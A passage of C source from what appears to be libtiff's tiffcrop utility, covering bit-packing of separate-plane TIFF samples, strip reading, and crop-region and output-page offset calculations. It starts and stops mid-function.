uint8 bytebuff1 = 0, bytebuff2 = 0; tsample_t s; unsigned char *src = in[0]; unsigned char *dst = out; char action[8]; if ((src == NULL) || (dst == NULL)) { TIFFError("combineSeparateTileSamples24bits","Invalid input or output buffer"); return (1); } src_rowsize = ((bps * tw) + 7) / 8; dst_rowsize = ((imagewidth * bps * spp) + 7) / 8; maskbits = (uint32)-1 >> ( 32 - bps); for (row = 0; row < rows; row++) { ready_bits = 0; buff1 = buff2 = 0; dst = out + (row * dst_rowsize); src_offset = row * src_rowsize; for (col = 0; col < cols; col++) { /* Compute src byte(s) and bits within byte(s) */ bit_offset = col * bps; src_byte = bit_offset / 8; src_bit = bit_offset % 8; matchbits = maskbits << (32 - src_bit - bps); for (s = 0; (s < spp) && (s < MAX_SAMPLES); s++) { src = in[s] + src_offset + src_byte; if (little_endian) buff1 = (src[0] << 24) | (src[1] << 16) | (src[2] << 8) | src[3]; else buff1 = (src[3] << 24) | (src[2] << 16) | (src[1] << 8) | src[0]; buff1 = (buff1 & matchbits) << (src_bit); /* If we have a full buffer's worth, write it out */ if (ready_bits >= 16) { bytebuff1 = (buff2 >> 24); *dst++ = bytebuff1; bytebuff2 = (buff2 >> 16); *dst++ = bytebuff2; ready_bits -= 16; /* shift in new bits */ buff2 = ((buff2 << 16) | (buff1 >> ready_bits)); strcpy (action, "Flush"); } else { /* add another bps bits to the buffer */ bytebuff1 = bytebuff2 = 0; buff2 = (buff2 | (buff1 >> ready_bits)); strcpy (action, "Update"); } ready_bits += bps; if ((dumpfile != NULL) && (level == 3)) { dump_info (dumpfile, format, "", "Row %3d, Col %3d, Samples %d, Src byte offset %3d bit offset %2d Dst offset %3d", row + 1, col + 1, s, src_byte, src_bit, dst - out); dump_long (dumpfile, format, "Match bits ", matchbits); dump_data (dumpfile, format, "Src bits ", src, 4); dump_long (dumpfile, format, "Buff1 bits ", buff1); dump_long (dumpfile, format, "Buff2 bits ", buff2); dump_byte (dumpfile, format, "Write bits1", bytebuff1); dump_byte (dumpfile, format, "Write bits2", bytebuff2); dump_info (dumpfile, format, "","Ready bits: %d, %s", ready_bits, action); } } } /* catch any trailing bits at the end of the line */ while (ready_bits > 0) { bytebuff1 = (buff2 >> 24); *dst++ = bytebuff1; buff2 = (buff2 << 8); bytebuff2 = bytebuff1; ready_bits -= 8; } if ((dumpfile != NULL) && (level == 3)) { dump_info (dumpfile, format, "", "Row %3d, Col %3d, Src byte offset %3d bit offset %2d Dst offset %3d", row + 1, col + 1, src_byte, src_bit, dst - out); dump_long (dumpfile, format, "Match bits ", matchbits); dump_data (dumpfile, format, "Src bits ", src, 4); dump_long (dumpfile, format, "Buff1 bits ", buff1); dump_long (dumpfile, format, "Buff2 bits ", buff2); dump_byte (dumpfile, format, "Write bits1", bytebuff1); dump_byte (dumpfile, format, "Write bits2", bytebuff2); dump_info (dumpfile, format, "", "Ready bits: %2d", ready_bits); } if ((dumpfile != NULL) && (level == 2)) { dump_info (dumpfile, format, "combineSeparateTileSamples24bits","Output data"); dump_buffer(dumpfile, format, 1, dst_rowsize, row, out + (row * dst_rowsize)); } } return (0); } /* end combineSeparateTileSamples24bits */ static int combineSeparateTileSamples32bits (uint8 *in[], uint8 *out, uint32 cols, uint32 rows, uint32 imagewidth, uint32 tw, uint16 spp, uint16 bps, FILE *dumpfile, int format, int level) { int ready_bits = 0 /*, shift_width = 0 */; uint32 src_rowsize, dst_rowsize, bit_offset, src_offset; uint32 src_byte = 0, src_bit = 0; uint32 row, col; uint32 longbuff1 = 0, longbuff2 = 0; uint64 maskbits = 0, matchbits = 0; uint64 buff1 = 0, buff2 = 0, buff3 = 0; uint8 bytebuff1 = 0, bytebuff2 = 0, bytebuff3 = 0, bytebuff4 = 0; tsample_t s; unsigned char *src = in[0]; unsigned char *dst = out; char action[8]; if ((src == NULL) || (dst == NULL)) { TIFFError("combineSeparateTileSamples32bits","Invalid input or output buffer"); return (1); } src_rowsize = ((bps * tw) + 7) / 8; dst_rowsize = ((imagewidth * bps * spp) + 7) / 8; maskbits = (uint64)-1 >> ( 64 - bps); /* shift_width = ((bps + 7) / 8) + 1; */ for (row = 0; row < rows; row++) { ready_bits = 0; buff1 = buff2 = 0; dst = out + (row * dst_rowsize); src_offset = row * src_rowsize; for (col = 0; col < cols; col++) { /* Compute src byte(s) and bits within byte(s) */ bit_offset = col * bps; src_byte = bit_offset / 8; src_bit = bit_offset % 8; matchbits = maskbits << (64 - src_bit - bps); for (s = 0; (s < spp) && (s < MAX_SAMPLES); s++) { src = in[s] + src_offset + src_byte; if (little_endian) { longbuff1 = (src[0] << 24) | (src[1] << 16) | (src[2] << 8) | src[3]; longbuff2 = longbuff1; } else { longbuff1 = (src[3] << 24) | (src[2] << 16) | (src[1] << 8) | src[0]; longbuff2 = longbuff1; } buff3 = ((uint64)longbuff1 << 32) | longbuff2; buff1 = (buff3 & matchbits) << (src_bit); /* If we have a full buffer's worth, write it out */ if (ready_bits >= 32) { bytebuff1 = (buff2 >> 56); *dst++ = bytebuff1; bytebuff2 = (buff2 >> 48); *dst++ = bytebuff2; bytebuff3 = (buff2 >> 40); *dst++ = bytebuff3; bytebuff4 = (buff2 >> 32); *dst++ = bytebuff4; ready_bits -= 32; /* shift in new bits */ buff2 = ((buff2 << 32) | (buff1 >> ready_bits)); strcpy (action, "Flush"); } else { /* add another bps bits to the buffer */ bytebuff1 = bytebuff2 = bytebuff3 = bytebuff4 = 0; buff2 = (buff2 | (buff1 >> ready_bits)); strcpy (action, "Update"); } ready_bits += bps; if ((dumpfile != NULL) && (level == 3)) { dump_info (dumpfile, format, "", "Row %3d, Col %3d, Sample %d, Src byte offset %3d bit offset %2d Dst offset %3d", row + 1, col + 1, s, src_byte, src_bit, dst - out); dump_wide (dumpfile, format, "Match bits ", matchbits); dump_data (dumpfile, format, "Src bits ", src, 8); dump_wide (dumpfile, format, "Buff1 bits ", buff1); dump_wide (dumpfile, format, "Buff2 bits ", buff2); dump_info (dumpfile, format, "", "Ready bits: %d, %s", ready_bits, action); } } } while (ready_bits > 0) { bytebuff1 = (buff2 >> 56); *dst++ = bytebuff1; buff2 = (buff2 << 8); ready_bits -= 8; } if ((dumpfile != NULL) && (level == 3)) { dump_info (dumpfile, format, "", "Row %3d, Col %3d, Src byte offset %3d bit offset %2d Dst offset %3d", row + 1, col + 1, src_byte, src_bit, dst - out); dump_long (dumpfile, format, "Match bits ", matchbits); dump_data (dumpfile, format, "Src bits ", src, 4); dump_long (dumpfile, format, "Buff1 bits ", buff1); dump_long (dumpfile, format, "Buff2 bits ", buff2); dump_byte (dumpfile, format, "Write bits1", bytebuff1); dump_byte (dumpfile, format, "Write bits2", bytebuff2); dump_info (dumpfile, format, "", "Ready bits: %2d", ready_bits); } if ((dumpfile != NULL) && (level == 2)) { dump_info (dumpfile, format, "combineSeparateTileSamples32bits","Output data"); dump_buffer(dumpfile, format, 1, dst_rowsize, row, out); } } return (0); } /* end combineSeparateTileSamples32bits */ static int readSeparateStripsIntoBuffer (TIFF *in, uint8 *obuf, uint32 length, uint32 width, uint16 spp, struct dump_opts *dump) { int i, j, bytes_per_sample, bytes_per_pixel, shift_width, result = 1; int32 bytes_read = 0; uint16 bps, nstrips, planar, strips_per_sample; uint32 src_rowsize, dst_rowsize, rows_processed, rps; uint32 rows_this_strip = 0; tsample_t s; tstrip_t strip; tsize_t scanlinesize = TIFFScanlineSize(in); tsize_t stripsize = TIFFStripSize(in); unsigned char *srcbuffs[MAX_SAMPLES]; unsigned char *buff = NULL; unsigned char *dst = NULL; if (obuf == NULL) { TIFFError("readSeparateStripsIntoBuffer","Invalid buffer argument"); return (0); } memset (srcbuffs, '\0', sizeof(srcbuffs)); TIFFGetField(in, TIFFTAG_BITSPERSAMPLE, &bps); TIFFGetFieldDefaulted(in, TIFFTAG_PLANARCONFIG, &planar); TIFFGetFieldDefaulted(in, TIFFTAG_ROWSPERSTRIP, &rps); if (rps > length) rps = length; bytes_per_sample = (bps + 7) / 8; bytes_per_pixel = ((bps * spp) + 7) / 8; if (bytes_per_pixel < (bytes_per_sample + 1)) shift_width = bytes_per_pixel; else shift_width = bytes_per_sample + 1; src_rowsize = ((bps * width) + 7) / 8; dst_rowsize = ((bps * width * spp) + 7) / 8; dst = obuf; if ((dump->infile != NULL) && (dump->level == 3)) { dump_info (dump->infile, dump->format, "", "Image width %d, length %d, Scanline size, %4d bytes", width, length, scanlinesize); dump_info (dump->infile, dump->format, "", "Bits per sample %d, Samples per pixel %d, Shift width %d", bps, spp, shift_width); } /* Libtiff seems to assume/require that data for separate planes are * written one complete plane after another and not interleaved in any way. * Multiple scanlines and possibly strips of the same plane must be * written before data for any other plane. */ nstrips = TIFFNumberOfStrips(in); strips_per_sample = nstrips /spp; for (s = 0; (s < spp) && (s < MAX_SAMPLES); s++) { srcbuffs[s] = NULL; buff = _TIFFmalloc(stripsize); if (!buff) { TIFFError ("readSeparateStripsIntoBuffer", "Unable to allocate strip read buffer for sample %d", s); for (i = 0; i < s; i++) _TIFFfree (srcbuffs[i]); return 0; } srcbuffs[s] = buff; } rows_processed = 0; for (j = 0; (j < strips_per_sample) && (result == 1); j++) { for (s = 0; (s < spp) && (s < MAX_SAMPLES); s++) { buff = srcbuffs[s]; strip = (s * strips_per_sample) + j; bytes_read = TIFFReadEncodedStrip (in, strip, buff, stripsize); rows_this_strip = bytes_read / src_rowsize; if (bytes_read < 0 && !ignore) { TIFFError(TIFFFileName(in), "Error, can't read strip %lu for sample %d", (unsigned long) strip, s + 1); result = 0; break; } #ifdef DEVELMODE TIFFError("", "Strip %2d, read %5d bytes for %4d scanlines, shift width %d", strip, bytes_read, rows_this_strip, shift_width); #endif } if (rps > rows_this_strip) rps = rows_this_strip; dst = obuf + (dst_rowsize * rows_processed); if ((bps % 8) == 0) { if (combineSeparateSamplesBytes (srcbuffs, dst, width, rps, spp, bps, dump->infile, dump->format, dump->level)) { result = 0; break; } } else { switch (shift_width) { case 1: if (combineSeparateSamples8bits (srcbuffs, dst, width, rps, spp, bps, dump->infile, dump->format, dump->level)) { result = 0; break; } break; case 2: if (combineSeparateSamples16bits (srcbuffs, dst, width, rps, spp, bps, dump->infile, dump->format, dump->level)) { result = 0; break; } break; case 3: if (combineSeparateSamples24bits (srcbuffs, dst, width, rps, spp, bps, dump->infile, dump->format, dump->level)) { result = 0; break; } break; case 4: case 5: case 6: case 7: case 8: if (combineSeparateSamples32bits (srcbuffs, dst, width, rps, spp, bps, dump->infile, dump->format, dump->level)) { result = 0; break; } break; default: TIFFError ("readSeparateStripsIntoBuffer", "Unsupported bit depth: %d", bps); result = 0; break; } } if ((rows_processed + rps) > length) { rows_processed = length; rps = length - rows_processed; } else rows_processed += rps; } /* free any buffers allocated for each plane or scanline and * any temporary buffers */ for (s = 0; (s < spp) && (s < MAX_SAMPLES); s++) { buff = srcbuffs[s]; if (buff != NULL) _TIFFfree(buff); } return (result); } /* end readSeparateStripsIntoBuffer */ static int get_page_geometry (char *name, struct pagedef *page) { char *ptr; int n; for (ptr = name; *ptr; ptr++) *ptr = (char)tolower((int)*ptr); for (n = 0; n < MAX_PAPERNAMES; n++) { if (strcmp(name, PaperTable[n].name) == 0) { page->width = PaperTable[n].width; page->length = PaperTable[n].length; strncpy (page->name, PaperTable[n].name, 15); page->name[15] = '\0'; return (0); } } return (1); } static void initPageSetup (struct pagedef *page, struct pageseg *pagelist, struct buffinfo seg_buffs[]) { int i; strcpy (page->name, ""); page->mode = PAGE_MODE_NONE; page->res_unit = RESUNIT_NONE; page->hres = 0.0; page->vres = 0.0; page->width = 0.0; page->length = 0.0; page->hmargin = 0.0; page->vmargin = 0.0; page->rows = 0; page->cols = 0; page->orient = ORIENTATION_NONE; for (i = 0; i < MAX_SECTIONS; i++) { pagelist[i].x1 = (uint32)0; pagelist[i].x2 = (uint32)0; pagelist[i].y1 = (uint32)0; pagelist[i].y2 = (uint32)0; pagelist[i].buffsize = (uint32)0; pagelist[i].position = 0; pagelist[i].total = 0; } for (i = 0; i < MAX_OUTBUFFS; i++) { seg_buffs[i].size = 0; seg_buffs[i].buffer = NULL; } } static void initImageData (struct image_data *image) { image->xres = 0.0; image->yres = 0.0; image->width = 0; image->length = 0; image->res_unit = RESUNIT_NONE; image->bps = 0; image->spp = 0; image->planar = 0; image->photometric = 0; image->orientation = 0; image->compression = COMPRESSION_NONE; image->adjustments = 0; } static void initCropMasks (struct crop_mask *cps) { int i; cps->crop_mode = CROP_NONE; cps->res_unit = RESUNIT_NONE; cps->edge_ref = EDGE_TOP; cps->width = 0; cps->length = 0; for (i = 0; i < 4; i++) cps->margins[i] = 0.0; cps->bufftotal = (uint32)0; cps->combined_width = (uint32)0; cps->combined_length = (uint32)0; cps->rotation = (uint16)0; cps->photometric = INVERT_DATA_AND_TAG; cps->mirror = (uint16)0; cps->invert = (uint16)0; cps->zones = (uint32)0; cps->regions = (uint32)0; for (i = 0; i < MAX_REGIONS; i++) { cps->corners[i].X1 = 0.0; cps->corners[i].X2 = 0.0; cps->corners[i].Y1 = 0.0; cps->corners[i].Y2 = 0.0; cps->regionlist[i].x1 = 0; cps->regionlist[i].x2 = 0; cps->regionlist[i].y1 = 0; cps->regionlist[i].y2 = 0; cps->regionlist[i].width = 0; cps->regionlist[i].length = 0; cps->regionlist[i].buffsize = 0; cps->regionlist[i].buffptr = NULL; cps->zonelist[i].position = 0; cps->zonelist[i].total = 0; } cps->exp_mode = ONE_FILE_COMPOSITE; cps->img_mode = COMPOSITE_IMAGES; } static void initDumpOptions(struct dump_opts *dump) { dump->debug = 0; dump->format = DUMP_NONE; dump->level = 1; sprintf (dump->mode, "w"); memset (dump->infilename, '\0', PATH_MAX + 1); memset (dump->outfilename, '\0',PATH_MAX + 1); dump->infile = NULL; dump->outfile = NULL; } /* Compute pixel offsets into the image for margins and fixed regions */ static int computeInputPixelOffsets(struct crop_mask *crop, struct image_data *image, struct offset *off) { double scale; float xres, yres; /* Values for these offsets are in pixels from start of image, not bytes, * and are indexed from zero to width - 1 or length - 1 */ uint32 tmargin, bmargin, lmargin, rmargin; uint32 startx, endx; /* offsets of first and last columns to extract */ uint32 starty, endy; /* offsets of first and last row to extract */ uint32 width, length, crop_width, crop_length; uint32 i, max_width, max_length, zwidth, zlength, buffsize; uint32 x1, x2, y1, y2; if (image->res_unit != RESUNIT_INCH && image->res_unit != RESUNIT_CENTIMETER) { xres = 1.0; yres = 1.0; } else { if (((image->xres == 0) || (image->yres == 0)) && (crop->res_unit != RESUNIT_NONE) && ((crop->crop_mode & CROP_REGIONS) || (crop->crop_mode & CROP_MARGINS) || (crop->crop_mode & CROP_LENGTH) || (crop->crop_mode & CROP_WIDTH))) { TIFFError("computeInputPixelOffsets", "Cannot compute margins or fixed size sections without image resolution"); TIFFError("computeInputPixelOffsets", "Specify units in pixels and try again"); return (-1); } xres = image->xres; yres = image->yres; } /* Translate user units to image units */ scale = 1.0; switch (crop->res_unit) { case RESUNIT_CENTIMETER: if (image->res_unit == RESUNIT_INCH) scale = 1.0/2.54; break; case RESUNIT_INCH: if (image->res_unit == RESUNIT_CENTIMETER) scale = 2.54; break; case RESUNIT_NONE: /* Dimensions in pixels */ default: break; } if (crop->crop_mode & CROP_REGIONS) { max_width = max_length = 0; for (i = 0; i < crop->regions; i++) { if ((crop->res_unit == RESUNIT_INCH) || (crop->res_unit == RESUNIT_CENTIMETER)) { x1 = (uint32) (crop->corners[i].X1 * scale * xres); x2 = (uint32) (crop->corners[i].X2 * scale * xres); y1 = (uint32) (crop->corners[i].Y1 * scale * yres); y2 = (uint32) (crop->corners[i].Y2 * scale * yres); } else { x1 = (uint32) (crop->corners[i].X1); x2 = (uint32) (crop->corners[i].X2); y1 = (uint32) (crop->corners[i].Y1); y2 = (uint32) (crop->corners[i].Y2); } if (x1 < 1) crop->regionlist[i].x1 = 0; else crop->regionlist[i].x1 = (uint32) (x1 - 1); if (x2 > image->width - 1) crop->regionlist[i].x2 = image->width - 1; else crop->regionlist[i].x2 = (uint32) (x2 - 1); zwidth = crop->regionlist[i].x2 - crop->regionlist[i].x1 + 1; if (y1 < 1) crop->regionlist[i].y1 = 0; else crop->regionlist[i].y1 = (uint32) (y1 - 1); if (y2 > image->length - 1) crop->regionlist[i].y2 = image->length - 1; else crop->regionlist[i].y2 = (uint32) (y2 - 1); zlength = crop->regionlist[i].y2 - crop->regionlist[i].y1 + 1; if (zwidth > max_width) max_width = zwidth; if (zlength > max_length) max_length = zlength; buffsize = (uint32) (((zwidth * image->bps * image->spp + 7 ) / 8) * (zlength + 1)); crop->regionlist[i].buffsize = buffsize; crop->bufftotal += buffsize; if (crop->img_mode == COMPOSITE_IMAGES) { switch (crop->edge_ref) { case EDGE_LEFT: case EDGE_RIGHT: crop->combined_length = zlength; crop->combined_width += zwidth; break; case EDGE_BOTTOM: case EDGE_TOP: /* width from left, length from top */ default: crop->combined_width = zwidth; crop->combined_length += zlength; break; } } } return (0); } /* Convert crop margins into offsets into image * Margins are expressed as pixel rows and columns, not bytes */ if (crop->crop_mode & CROP_MARGINS) { if (crop->res_unit != RESUNIT_INCH && crop->res_unit != RESUNIT_CENTIMETER) { /* User has specified pixels as reference unit */ tmargin = (uint32)(crop->margins[0]); lmargin = (uint32)(crop->margins[1]); bmargin = (uint32)(crop->margins[2]); rmargin = (uint32)(crop->margins[3]); } else { /* inches or centimeters specified */ tmargin = (uint32)(crop->margins[0] * scale * yres); lmargin = (uint32)(crop->margins[1] * scale * xres); bmargin = (uint32)(crop->margins[2] * scale * yres); rmargin = (uint32)(crop->margins[3] * scale * xres); } if ((lmargin + rmargin) > image->width) { TIFFError("computeInputPixelOffsets", "Combined left and right margins exceed image width"); lmargin = (uint32) 0; rmargin = (uint32) 0; return (-1); } if ((tmargin + bmargin) > image->length) { TIFFError("computeInputPixelOffsets", "Combined top and bottom margins exceed image length"); tmargin = (uint32) 0; bmargin = (uint32) 0; return (-1); } } else { /* no margins requested */ tmargin = (uint32) 0; lmargin = (uint32) 0; bmargin = (uint32) 0; rmargin = (uint32) 0; } /* Width, height, and margins are expressed as pixel offsets into image */ if (crop->res_unit != RESUNIT_INCH && crop->res_unit != RESUNIT_CENTIMETER) { if (crop->crop_mode & CROP_WIDTH) width = (uint32)crop->width; else width = image->width - lmargin - rmargin; if (crop->crop_mode & CROP_LENGTH) length = (uint32)crop->length; else length = image->length - tmargin - bmargin; } else { if (crop->crop_mode & CROP_WIDTH) width = (uint32)(crop->width * scale * image->xres); else width = image->width - lmargin - rmargin; if (crop->crop_mode & CROP_LENGTH) length = (uint32)(crop->length * scale * image->yres); else length = image->length - tmargin - bmargin; } off->tmargin = tmargin; off->bmargin = bmargin; off->lmargin = lmargin; off->rmargin = rmargin; /* Calculate regions defined by margins, width, and length. * Coordinates expressed as 0 to imagewidth - 1, imagelength - 1, * since they are used to compute offsets into buffers */ switch (crop->edge_ref) { case EDGE_BOTTOM: startx = lmargin; if ((startx + width) >= (image->width - rmargin)) endx = image->width - rmargin - 1; else endx = startx + width - 1; endy = image->length - bmargin - 1; if ((endy - length) <= tmargin) starty = tmargin; else starty = endy - length + 1; break; case EDGE_RIGHT: endx = image->width - rmargin - 1; if ((endx - width) <= lmargin) startx = lmargin; else startx = endx - width + 1; starty = tmargin; if ((starty + length) >= (image->length - bmargin)) endy = image->length - bmargin - 1; else endy = starty + length - 1; break; case EDGE_TOP: /* width from left, length from top */ case EDGE_LEFT: default: startx = lmargin; if ((startx + width) >= (image->width - rmargin)) endx = image->width - rmargin - 1; else endx = startx + width - 1; starty = tmargin; if ((starty + length) >= (image->length - bmargin)) endy = image->length - bmargin - 1; else endy = starty + length - 1; break; } off->startx = startx; off->starty = starty; off->endx = endx; off->endy = endy; crop_width = endx - startx + 1; crop_length = endy - starty + 1; if (crop_width <= 0) { TIFFError("computeInputPixelOffsets", "Invalid left/right margins and /or image crop width requested"); return (-1); } if (crop_width > image->width) crop_width = image->width; if (crop_length <= 0) { TIFFError("computeInputPixelOffsets", "Invalid top/bottom margins and /or image crop length requested"); return (-1); } if (crop_length > image->length) crop_length = image->length; off->crop_width = crop_width; off->crop_length = crop_length; return (0); } /* end computeInputPixelOffsets */ /* * Translate crop options into pixel offsets for one or more regions of the image. * Options are applied in this order: margins, specific width and length, zones, * but all are optional. Margins are relative to each edge. Width, length and * zones are relative to the specified reference edge. Zones are expressed as * X:Y where X is the ordinal value in a set of Y equal sized portions. eg. * 2:3 would indicate the middle third of the region qualified by margins and * any explicit width and length specified. Regions are specified by coordinates * of the top left and lower right corners with range 1 to width or height. */ static int getCropOffsets(struct image_data *image, struct crop_mask *crop, struct dump_opts *dump) { struct offset offsets; int i; int32 test; uint32 seg, total, need_buff = 0; uint32 buffsize; uint32 zwidth, zlength; memset(&offsets, '\0', sizeof(struct offset)); crop->bufftotal = 0; crop->combined_width = (uint32)0; crop->combined_length = (uint32)0; crop->selections = 0; /* Compute pixel offsets if margins or fixed width or length specified */ if ((crop->crop_mode & CROP_MARGINS) || (crop->crop_mode & CROP_REGIONS) || (crop->crop_mode & CROP_LENGTH) || (crop->crop_mode & CROP_WIDTH)) { if (computeInputPixelOffsets(crop, image, &offsets)) { TIFFError ("getCropOffsets", "Unable to compute crop margins"); return (-1); } need_buff = TRUE; crop->selections = crop->regions; /* Regions are only calculated from top and left edges with no margins */ if (crop->crop_mode & CROP_REGIONS) return (0); } else { /* cropped area is the full image */ offsets.tmargin = 0; offsets.lmargin = 0; offsets.bmargin = 0; offsets.rmargin = 0; offsets.crop_width = image->width; offsets.crop_length = image->length; offsets.startx = 0; offsets.endx = image->width - 1; offsets.starty = 0; offsets.endy = image->length - 1; need_buff = FALSE; } if (dump->outfile != NULL) { dump_info (dump->outfile, dump->format, "", "Margins: Top: %d Left: %d Bottom: %d Right: %d", offsets.tmargin, offsets.lmargin, offsets.bmargin, offsets.rmargin); dump_info (dump->outfile, dump->format, "", "Crop region within margins: Adjusted Width: %6d Length: %6d", offsets.crop_width, offsets.crop_length); } if (!(crop->crop_mode & CROP_ZONES)) /* no crop zones requested */ { if (need_buff == FALSE) /* No margins or fixed width or length areas */ { crop->selections = 0; crop->combined_width = image->width; crop->combined_length = image->length; return (0); } else { /* Use one region for margins and fixed width or length areas * even though it was not formally declared as a region. */ crop->selections = 1; crop->zones = 1; crop->zonelist[0].total = 1; crop->zonelist[0].position = 1; } } else crop->selections = crop->zones; for (i = 0; i < crop->zones; i++) { seg = crop->zonelist[i].position; total = crop->zonelist[i].total; switch (crop->edge_ref) { case EDGE_LEFT: /* zones from left to right, length from top */ zlength = offsets.crop_length; crop->regionlist[i].y1 = offsets.starty; crop->regionlist[i].y2 = offsets.endy; crop->regionlist[i].x1 = offsets.startx + (uint32)(offsets.crop_width * 1.0 * (seg - 1) / total); test = (int32)offsets.startx + (int32)(offsets.crop_width * 1.0 * seg / total); if (test < 1 ) crop->regionlist[i].x2 = 0; else { if (test > (int32)(image->width - 1)) crop->regionlist[i].x2 = image->width - 1; else crop->regionlist[i].x2 = test - 1; } zwidth = crop->regionlist[i].x2 - crop->regionlist[i].x1 + 1; /* This is passed to extractCropZone or extractCompositeZones */ crop->combined_length = (uint32)zlength; if (crop->exp_mode == COMPOSITE_IMAGES) crop->combined_width += (uint32)zwidth; else crop->combined_width = (uint32)zwidth; break; case EDGE_BOTTOM: /* width from left, zones from bottom to top */ zwidth = offsets.crop_width; crop->regionlist[i].x1 = offsets.startx; crop->regionlist[i].x2 = offsets.endx; test = offsets.endy - (uint32)(offsets.crop_length * 1.0 * seg / total); if (test < 1 ) crop->regionlist[i].y1 = 0; else crop->regionlist[i].y1 = test + 1; test = offsets.endy - (offsets.crop_length * 1.0 * (seg - 1) / total); if (test < 1 ) crop->regionlist[i].y2 = 0; else { if (test > (int32)(image->length - 1)) crop->regionlist[i].y2 = image->length - 1; else crop->regionlist[i].y2 = test; } zlength = crop->regionlist[i].y2 - crop->regionlist[i].y1 + 1; /* This is passed to extractCropZone or extractCompositeZones */ if (crop->exp_mode == COMPOSITE_IMAGES) crop->combined_length += (uint32)zlength; else crop->combined_length = (uint32)zlength; crop->combined_width = (uint32)zwidth; break; case EDGE_RIGHT: /* zones from right to left, length from top */ zlength = offsets.crop_length; crop->regionlist[i].y1 = offsets.starty; crop->regionlist[i].y2 = offsets.endy; crop->regionlist[i].x1 = offsets.startx + (uint32)(offsets.crop_width * (total - seg) * 1.0 / total); test = offsets.startx + (offsets.crop_width * (total - seg + 1) * 1.0 / total); if (test < 1 ) crop->regionlist[i].x2 = 0; else { if (test > (int32)(image->width - 1)) crop->regionlist[i].x2 = image->width - 1; else crop->regionlist[i].x2 = test - 1; } zwidth = crop->regionlist[i].x2 - crop->regionlist[i].x1 + 1; /* This is passed to extractCropZone or extractCompositeZones */ crop->combined_length = (uint32)zlength; if (crop->exp_mode == COMPOSITE_IMAGES) crop->combined_width += (uint32)zwidth; else crop->combined_width = (uint32)zwidth; break; case EDGE_TOP: /* width from left, zones from top to bottom */ default: zwidth = offsets.crop_width; crop->regionlist[i].x1 = offsets.startx; crop->regionlist[i].x2 = offsets.endx; crop->regionlist[i].y1 = offsets.starty + (uint32)(offsets.crop_length * 1.0 * (seg - 1) / total); test = offsets.starty + (uint32)(offsets.crop_length * 1.0 * seg / total); if (test < 1 ) crop->regionlist[i].y2 = 0; else { if (test > (int32)(image->length - 1)) crop->regionlist[i].y2 = image->length - 1; else crop->regionlist[i].y2 = test - 1; } zlength = crop->regionlist[i].y2 - crop->regionlist[i].y1 + 1; /* This is passed to extractCropZone or extractCompositeZones */ if (crop->exp_mode == COMPOSITE_IMAGES) crop->combined_length += (uint32)zlength; else crop->combined_length = (uint32)zlength; crop->combined_width = (uint32)zwidth; break; } /* end switch statement */ buffsize = (uint32) ((((zwidth * image->bps * image->spp) + 7 ) / 8) * (zlength + 1)); crop->regionlist[i].width = (uint32) zwidth; crop->regionlist[i].length = (uint32) zlength; crop->regionlist[i].buffsize = buffsize; crop->bufftotal += buffsize; if (dump->outfile != NULL) dump_info (dump->outfile, dump->format, "", "Zone %d, width: %4d, length: %4d, x1: %4d x2: %4d y1: %4d y2: %4d", i + 1, (uint32)zwidth, (uint32)zlength, crop->regionlist[i].x1, crop->regionlist[i].x2, crop->regionlist[i].y1, crop->regionlist[i].y2); } return (0); } /* end getCropOffsets */ static int computeOutputPixelOffsets (struct crop_mask *crop, struct image_data *image, struct pagedef *page, struct pageseg *sections, struct dump_opts* dump) { double scale; double pwidth, plength; /* Output page width and length in user units*/ uint32 iwidth, ilength; /* Input image width and length in pixels*/ uint32 owidth, olength; /* Output image width and length in pixels*/ uint32 orows, ocols; /* rows and cols for output */ uint32 hmargin, vmargin; /* Horizontal and vertical margins */ uint32 x1, x2, y1, y2, line_bytes; /* unsigned int orientation; */ uint32 i, j, k; scale = 1.0; if (page->res_unit == RESUNIT_NONE) page->res_unit = image->res_unit; switch (image->res_unit) { case RESUNIT_CENTIMETER: if (page->res_unit == RESUNIT_INCH) scale = 1.0/2.54; break; case RESUNIT_INCH: if (page->res_unit == RESUNIT_CENTIMETER) scale = 2.54; break; case RESUNIT_NONE: /* Dimensions in pixels */ default: break; } /* get width, height, resolutions of input image selection */ if (crop->combined_width > 0) iwidth = crop->combined_width; else iwidth = image->width; if (crop->combined_length > 0) ilength = crop->combined_length; else ilength = image->length; if (page->hres <= 1.0) page->hres = image->xres; if (page->vres <= 1.0) page->vres = image->yres; if ((page->hres < 1.0) || (page->vres < 1.0)) { TIFFError("computeOutputPixelOffsets", "Invalid horizontal or vertical resolution specified or read from input image"); return (1); } /* If no page sizes are being specified, we just use the input image size to * calculate maximum margins that can be taken from image. */ if (page->width <= 0) pwidth = iwidth; else pwidth = page->width; if (page->length <= 0) plength = ilength; else plength = page->length; if (dump->debug) { TIFFError("", "Page size: %s, Vres: %3.2f, Hres: %3.2f, " "Hmargin: %3.2f, Vmargin: %3.2f", page->name, page->vres, page->hres, page->hmargin, page->vmargin); TIFFError("", "Res_unit: %d, Scale: %3.2f, Page width: %3.2f, length: %3.2f", page->res_unit, scale, pwidth, plength); } /* compute margins at specified unit and resolution */ if (page->mode & PAGE_MODE_MARGINS) { if (page->res_unit == RESUNIT_INCH || page->res_unit == RESUNIT_CENTIMETER) { /* inches or centimeters specified */ hmargin = (uint32)(page->hmargin * scale * page->hres * ((image->bps + 7)/ 8)); vmargin = (uint32)(page->vmargin * scale * page->vres * ((image->bps + 7)/ 8)); } else { /* Otherwise user has specified pixels as reference unit */ hmargin = (uint32)(page->hmargin * scale * ((image->bps + 7)/ 8)); vmargin = (uint32)(page->vmargin * scale * ((image->bps + 7)/ 8)); } if ((hmargin * 2.0) > (pwidth * page->hres)) { TIFFError("computeOutputPixelOffsets", "Combined left and right margins exceed page width"); hmargin = (uint32) 0; return (-1); } if ((vmargin * 2.0) > (plength * page->vres)) { TIFFError("computeOutputPixelOffsets", "Combined top and bottom margins exceed page length"); vmargin = (uint32) 0; return (-1); } } else { hmargin = 0; vmargin = 0; } if (page->mode & PAGE_MODE_ROWSCOLS ) { /* Maybe someday but not for now */ if (page->mode & PAGE_MODE_MARGINS) TIFFError("computeOutputPixelOffsets", "Output margins cannot be specified with rows and columns"); owidth = TIFFhowmany(iwidth, page->cols); olength = TIFFhowmany(ilength, page->rows); } else { if (page->mode & PAGE_MODE_PAPERSIZE ) { owidth = (uint32)((pwidth * page->hres) - (hmargin * 2)); olength = (uint32)((plength * page->vres) - (vmargin * 2)); } else { owidth = (uint32)(iwidth - (hmargin * 2 * page->hres)); olength = (uint32)(ilength - (vmargin * 2 * page->vres)); } } if (owidth > iwidth) owidth = iwidth; if (olength > ilength) olength = ilength; /* Compute the number of pages required for Portrait or Landscape */ switch (page->orient) { case 